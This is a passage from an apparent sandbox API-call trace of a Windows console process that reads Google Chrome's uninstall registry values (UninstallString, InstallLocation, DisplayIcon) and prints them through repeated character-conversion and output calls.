lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.017] GetConsoleOutputCP () returned 0x1b5 [0149.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.018] __iob_func () returned 0x7fefd702a80 [0149.018] _fileno (_File=0x7fefd702ab0) returned 1 [0149.018] _errno () returned 0x204bb0 [0149.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.018] _errno () returned 0x204bb0 [0149.018] GetFileType (hFile=0x50) returned 0x1 [0149.018] lstrlenW (lpString="Google Chrome") returned 13 [0149.018] GetConsoleOutputCP () returned 0x1b5 [0149.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Google Chrome", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.018] GetConsoleOutputCP () returned 0x1b5 [0149.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Google Chrome", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Google Chrome", lpUsedDefaultChar=0x0) returned 13 [0149.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.018] __iob_func () returned 0x7fefd702a80 [0149.018] _fileno (_File=0x7fefd702ab0) returned 1 [0149.018] _errno () returned 0x204bb0 [0149.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.018] _errno () returned 0x204bb0 [0149.018] GetFileType (hFile=0x50) returned 0x1 [0149.018] lstrlenW (lpString="\n") returned 1 [0149.018] GetConsoleOutputCP () returned 0x1b5 [0149.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.018] GetConsoleOutputCP () returned 0x1b5 [0149.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.019] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.019] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.019] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x106) returned 0x0 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x108) returned 0x3dee60 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60) returned 1 [0149.019] GetProcessHeap () returned 0x3c0000 [0149.019] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee60) returned 0x108 [0149.019] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee60, pcbData=0x29f780*=0x106 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", pcbData=0x29f780*=0x104) returned 0x0 [0149.019] __iob_func () returned 0x7fefd702a80 [0149.019] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.019] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.019] _fileno (_File=0x7fefd702ab0) returned 1 [0149.019] _errno () returned 0x204bb0 [0149.019] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.019] _errno () returned 0x204bb0 [0149.019] GetFileType (hFile=0x50) returned 0x1 [0149.019] lstrlenW (lpString=" ") returned 4 [0149.019] GetConsoleOutputCP () returned 0x1b5 [0149.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.020] GetConsoleOutputCP () returned 0x1b5 [0149.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.020] lstrlenW (lpString="UninstallString") returned 15 [0149.020] __iob_func () returned 0x7fefd702a80 [0149.020] _fileno (_File=0x7fefd702ab0) returned 1 [0149.020] _errno () returned 0x204bb0 [0149.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.020] _errno () returned 0x204bb0 [0149.020] GetFileType (hFile=0x50) returned 0x1 [0149.020] lstrlenW (lpString="UninstallString") returned 15 [0149.020] GetConsoleOutputCP () returned 0x1b5 [0149.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.020] GetConsoleOutputCP () returned 0x1b5 [0149.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.020] __iob_func () returned 0x7fefd702a80 [0149.021] _fileno (_File=0x7fefd702ab0) returned 1 [0149.021] _errno () returned 0x204bb0 [0149.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.021] _errno () returned 0x204bb0 [0149.021] GetFileType (hFile=0x50) returned 0x1 [0149.021] lstrlenW (lpString=" ") returned 4 [0149.021] GetConsoleOutputCP () returned 0x1b5 [0149.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.021] GetConsoleOutputCP () returned 0x1b5 [0149.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.021] __iob_func () returned 0x7fefd702a80 [0149.021] _fileno (_File=0x7fefd702ab0) returned 1 [0149.021] _errno () returned 0x204bb0 [0149.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.021] _errno () returned 0x204bb0 [0149.021] GetFileType (hFile=0x50) returned 0x1 [0149.021] lstrlenW (lpString="REG_SZ") returned 6 [0149.021] GetConsoleOutputCP () returned 0x1b5 [0149.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.021] GetConsoleOutputCP () returned 0x1b5 [0149.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.022] __iob_func () returned 0x7fefd702a80 [0149.022] _fileno (_File=0x7fefd702ab0) returned 1 [0149.022] _errno () returned 0x204bb0 [0149.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.022] _errno () returned 0x204bb0 [0149.022] GetFileType (hFile=0x50) returned 0x1 [0149.022] lstrlenW (lpString=" ") returned 4 [0149.022] GetConsoleOutputCP () returned 0x1b5 [0149.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.022] GetConsoleOutputCP () returned 0x1b5 [0149.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.022] __iob_func () returned 0x7fefd702a80 [0149.022] _fileno (_File=0x7fefd702ab0) returned 1 [0149.022] _errno () returned 0x204bb0 [0149.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.022] _errno () returned 0x204bb0 [0149.022] GetFileType (hFile=0x50) returned 0x1 [0149.022] lstrlenW (lpString="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging") returned 129 [0149.022] GetConsoleOutputCP () returned 0x1b5 [0149.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", cchWideChar=129, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 129 [0149.023] GetConsoleOutputCP () returned 0x1b5 [0149.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", cchWideChar=129, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpUsedDefaultChar=0x0) returned 129 [0149.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 129 [0149.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.023] __iob_func () returned 0x7fefd702a80 [0149.023] _fileno (_File=0x7fefd702ab0) returned 1 [0149.023] _errno () returned 0x204bb0 [0149.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.023] _errno () returned 0x204bb0 [0149.023] GetFileType (hFile=0x50) returned 0x1 [0149.023] lstrlenW (lpString="\n") returned 1 [0149.023] GetConsoleOutputCP () returned 0x1b5 [0149.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.023] GetConsoleOutputCP () returned 0x1b5 [0149.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.023] GetProcessHeap () returned 0x3c0000 [0149.023] GetProcessHeap () returned 0x3c0000 [0149.023] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60) returned 1 [0149.023] GetProcessHeap () returned 0x3c0000 [0149.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee60) returned 0x108 [0149.024] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60 | out: hHeap=0x3c0000) returned 1 [0149.024] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x64) returned 0x0 [0149.024] GetProcessHeap () returned 0x3c0000 [0149.024] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x66) returned 0x3db830 [0149.024] GetProcessHeap () returned 0x3c0000 [0149.024] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.024] GetProcessHeap () returned 0x3c0000 [0149.024] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0149.024] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x64 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Google\\Chrome\\Application", pcbData=0x29f780*=0x62) returned 0x0 [0149.024] __iob_func () returned 0x7fefd702a80 [0149.024] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.024] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.024] _fileno (_File=0x7fefd702ab0) returned 1 [0149.024] _errno () returned 0x204bb0 [0149.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.024] _errno () returned 0x204bb0 [0149.024] GetFileType (hFile=0x50) returned 0x1 [0149.024] lstrlenW (lpString=" ") returned 4 [0149.024] GetConsoleOutputCP () returned 0x1b5 [0149.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.024] GetConsoleOutputCP () returned 0x1b5 [0149.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.024] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.024] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.025] lstrlenW (lpString="InstallLocation") returned 15 [0149.025] __iob_func () returned 0x7fefd702a80 [0149.025] _fileno (_File=0x7fefd702ab0) returned 1 [0149.025] _errno () returned 0x204bb0 [0149.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.025] _errno () returned 0x204bb0 [0149.025] GetFileType (hFile=0x50) returned 0x1 [0149.025] lstrlenW (lpString="InstallLocation") returned 15 [0149.025] GetConsoleOutputCP () returned 0x1b5 [0149.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.025] GetConsoleOutputCP () returned 0x1b5 [0149.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.025] __iob_func () returned 0x7fefd702a80 [0149.025] _fileno (_File=0x7fefd702ab0) returned 1 [0149.025] _errno () returned 0x204bb0 [0149.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.025] _errno () returned 0x204bb0 [0149.025] GetFileType (hFile=0x50) returned 0x1 [0149.025] lstrlenW (lpString=" ") returned 4 [0149.025] GetConsoleOutputCP () returned 0x1b5 [0149.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.026] GetConsoleOutputCP () returned 0x1b5 [0149.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.026] __iob_func () returned 0x7fefd702a80 [0149.026] _fileno (_File=0x7fefd702ab0) returned 1 [0149.026] _errno () returned 0x204bb0 [0149.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.026] _errno () returned 0x204bb0 [0149.026] GetFileType (hFile=0x50) returned 0x1 [0149.026] lstrlenW (lpString="REG_SZ") returned 6 [0149.026] GetConsoleOutputCP () returned 0x1b5 [0149.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.026] GetConsoleOutputCP () returned 0x1b5 [0149.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.026] __iob_func () returned 0x7fefd702a80 [0149.026] _fileno (_File=0x7fefd702ab0) returned 1 [0149.026] _errno () returned 0x204bb0 [0149.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.026] _errno () returned 0x204bb0 [0149.026] GetFileType (hFile=0x50) returned 0x1 [0149.026] lstrlenW (lpString=" ") returned 4 [0149.027] GetConsoleOutputCP () returned 0x1b5 [0149.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.027] GetConsoleOutputCP () returned 0x1b5 [0149.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.027] __iob_func () returned 0x7fefd702a80 [0149.027] _fileno (_File=0x7fefd702ab0) returned 1 [0149.027] _errno () returned 0x204bb0 [0149.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.027] _errno () returned 0x204bb0 [0149.027] GetFileType (hFile=0x50) returned 0x1 [0149.027] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned 48 [0149.027] GetConsoleOutputCP () returned 0x1b5 [0149.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Google\\Chrome\\Application", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0149.027] GetConsoleOutputCP () returned 0x1b5 [0149.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Google\\Chrome\\Application", cchWideChar=48, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Google\\Chrome\\Application", lpUsedDefaultChar=0x0) returned 48 [0149.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 48 [0149.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.027] __iob_func () returned 0x7fefd702a80 [0149.027] _fileno (_File=0x7fefd702ab0) returned 1 [0149.027] _errno () returned 0x204bb0 [0149.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.028] _errno () returned 0x204bb0 [0149.028] GetFileType (hFile=0x50) returned 0x1 [0149.028] lstrlenW (lpString="\n") returned 1 [0149.028] GetConsoleOutputCP () returned 0x1b5 [0149.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.028] GetConsoleOutputCP () returned 0x1b5 [0149.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.028] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.028] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0149.028] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.028] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3db830 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.028] GetProcessHeap () returned 0x3c0000 [0149.028] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0149.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe,0", pcbData=0x29f780*=0x7c) returned 0x0 [0149.028] __iob_func () returned 0x7fefd702a80 [0149.028] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.028] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.029] _fileno (_File=0x7fefd702ab0) returned 1 [0149.029] _errno () returned 0x204bb0 [0149.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.029] _errno () returned 0x204bb0 [0149.029] GetFileType (hFile=0x50) returned 0x1 [0149.029] lstrlenW (lpString=" ") returned 4 [0149.029] GetConsoleOutputCP () returned 0x1b5 [0149.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.029] GetConsoleOutputCP () returned 0x1b5 [0149.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, 